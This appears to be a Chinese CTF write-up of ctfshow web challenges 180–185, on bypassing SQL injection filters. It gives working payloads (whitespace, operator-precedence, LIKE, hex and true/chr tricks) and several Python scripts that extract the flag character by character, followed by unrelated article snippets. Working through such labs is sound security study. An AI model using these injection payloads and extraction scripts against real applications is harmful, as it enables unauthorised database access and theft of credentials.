ctfshow web入门 web180--web185

web180

import requests
import recom = re.compile("admin")
def repisTrue(char):url = f"http://自己环境的网址/api/?id=1%27and%27{char}%27=%27{char}&page=1&limit=10"res = requests.get(url)w = com.search(res.text)if w is not None:return Truereturn Falseif __name__ == '__main__':all = []no = []for i in range(1,128):if repisTrue(chr(i)):all.append((i,chr(i)))else:no.append((i,chr(i)))print("all:",all)print("no:",no)

在这里插入图片描述

法一
'or'1'='1'--%0c
法二
-1'%0cuniOn%0cselEct%0c'1','2','3-1'%0cuniOn%0cselEct%0c'1',database(),'3-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3-1'%0cuniOn%0cselEct%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema=database()%0cand%0ctable_name='ctfshow_user'),'3-1'%0cuniOn%0cselEct%0c1,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

web181

在这里插入图片描述

mysql操作符优先级:(数字越大,优先级越高)

在这里插入图片描述
借用大佬的图,这里使用运算符等级绕过

-1'||username='flag

在这里插入图片描述

web182

在这里插入图片描述
过滤了flag我们就用like来匹配flag

-1'||(username)like'%fla%

在这里插入图片描述在这里插入图片描述

web183

在这里插入图片描述$_POST['tableName']来动态地获取表名

tableName=`ctfshow_user`where`pass`like'ctfshow{%'

**加粗样式**![
查询结果就变成了1
脚本

import requests
import stringurl = "http://9ac44fb1-1cbf-4fdd-a7a0-dcdce0b24be4.challenge.ctf.show/select-waf.php"
payload = "(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag = ''for i in range(1, 50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1 = payload.format(flag + j)data = {'tableName': payload1}r = requests.post(url=url, data=data)if "$user_count = 1;" in r.text:flag += jprint(flag)

在这里插入图片描述
这个脚本很快很好用

web184

在这里插入图片描述过滤了单双引号,那么我们就用like脚本或者INNER join on脚本

import requests
import stringurl = "http://0d6e63ff-0213-4d40-a465-fcbf6778ccd2.challenge.ctf.show/select-waf.php"
payload = "ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag = ''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x', '') for c in str])for i in range(1, 50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1 = payload.format(str_to_hex(flag + j + '%'))# print(payload1)data = {'tableName': payload1}r = requests.post(url=url, data=data)# print(r.text)if "$user_count = 1;" in r.text:flag += jprint(flag)

在这里插入图片描述

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''def str_to_hex(str):return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':payload1=payload.format(str_to_hex(flag+j+'%'))# print(payload1)data={'tableName':payload1}r=requests.post(url=url,data=data)# print(r.text)if "$user_count = 22;"  in r.text:flag+=jprint(flag)

在这里插入图片描述学一下这个INNER join on
INNER join in

web185

true代替数字,concat+chr代替引号

在这里插入图片描述
我发现脚本越来越复杂了
先放个脚本我去学一下

import stringimport requestsurl = 'http://de655322-190c-4e8f-b65d-c2f663245ee1.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'def createNum(n):num = 'true'if n == 1:return 'true'else:for i in range(n - 1):num += "+true"return numdef createStrNum(c):str = ''str += 'chr(' + createNum(ord(c[0])) + ')'for i in c[1:]:str += ',chr(' + createNum(ord(i)) + ')'return struuid = string.ascii_lowercase + string.digits + "-{}"for i in range(1, 50):for j in uuid:payload1 = payload.format(createStrNum(flag + j + "%"))# print(payload1)data = {'tableName': payload1}re = requests.post(url=url, data=data)if "$user_count = 0;" not in re.text:flag += jprint(flag)if j == '}':exit()break

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/636937.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

4.2冰达机器人:视觉实例-机器人视觉循线、视觉实例-调整循线颜色

4.2.10a视觉实例-机器人视觉循线 本节内容演示一个机器人视觉的视觉循线实例 准备工作:布置一块区域作为循线场所,如下图所示。用蓝色胶带在地面贴一条路线(机器人极限转弯半径0.5m,不要贴得过于曲折),将…

leetcode8- 二叉树展开为链表

给你二叉树的根结点 root ,请你将它展开为一个单链表: 展开后的单链表应该同样使用 TreeNode ,其中 right 子指针指向链表中下一个结点,而左子指针始终为 null 。展开后的单链表应该与二叉树 先序遍历 顺序相同。 示例 1&#xf…

【ETAS CP AUTOSAR工具链】基本概念与开发流程

基于CP AUTOSAR进行控制器软件开发已渐渐成为业界的主流。CP领域中除了VECTOR,ETAS,EB,Mentor等外资公司,还有诸如普华,东软,恒润,华为等国产基础软件公司。 ETAS是在2015年推出的AUTOSAR量产版…

react09 hooks(useState)

react-09 hooks(useState) hooks组件(函数组件动态化) 其本质就是函数组件,引用一些hooks方法,用来在函数组件中进行例如状态管理,模拟类组件的生命周期等,只能运用到函数组件中 ho…

VMD变分编码器

ref:【变分模态分解(VMD)及其Python实现-哔哩哔哩】 https://b23.tv/bB9zPX1 注意看幅值 分别是1.0 0.25 1/16 画一张图上 蓝色:低频 绿色:高频信号 频谱看不懂 应用实例2

Linux实验一:NAT、桥接方式的验证

实验名称:在虚拟机中安装RHEL7,验证NAT、桥接上网方式 实验结果: 创建虚拟机 NAT模式 自动获取IP 手动配置IP 桥接模式 自动获取IP 手动配置IP 总结和分析:

深入解析K折交叉验证:原理、应用及优化策略(python实现 代码详解)

目录 一、K折交叉验证介绍 二、K折交叉验证的作用 三、在K折交叉验证中,每次模型的训练都是独立于上一次的 四、K折交叉验证用于比较不同模型的性能(python实现) 五、K折交叉验证用于超参数调优 六、K折交叉验证用于选择最优训练集和验证集,从而训练…

盲盒一番赏小程序:打开未知的惊喜之旅

在快节奏的生活中,人们总是渴望寻找一份属于自己的小确幸。盲盒一番赏小程序,正是这样一个为你带来无尽惊喜与乐趣的平台。我们精心打造这一小程序,让每一次点击都成为一次全新的探索,让每一次选择都充满无限可能。 盲盒一番赏小…

【Linux文件系统开发】认知篇

【Linux文件系统开发】认知篇 文章目录 【Linux文件系统开发】认知篇一、文件系统的概念二、文件系统的种类(文件管理系统的方法)三、分区四、文件系统目录结构五、虚拟文件系统(Virtual File System)1.概念2.原因3.作用4.总结 一…

【GoWeb框架初探————XORM篇】

1. XORM xorm 是一个简单而强大的Go语言ORM库. 通过它可以使数据库操作非常简便。 1.1 特性 支持 Struct 和数据库表之间的灵活映射,并支持自动同步事务支持同时支持原始SQL语句和ORM操作的混合执行使用连写来简化调用支持使用ID, In, Where, Limit, Join, Havi…

请编写一个函数void fun(int m,int k,int xx[]),该函数的功能是:将大于整数m且紧靠m的k个素数存入xx所指的数组中。

本文收录于专栏:算法之翼 https://blog.csdn.net/weixin_52908342/category_10943144.html 订阅后本专栏全部文章可见。 本文含有题目的题干、解题思路、解题思路、解题代码、代码解析。本文分别包含C语言、C++、Java、Python四种语言的解法和详细的解析。 题干 请编写一个函…

vector简单介绍

目录 学习语法,不必拘泥,重要的是要学会和理解。所有的一切,例如做题,学习、看书、各种行为都是手段,为着我们更好的运用。因为,最终都是为了更好的去理解某个东西,以便于更好的去改造这个世界…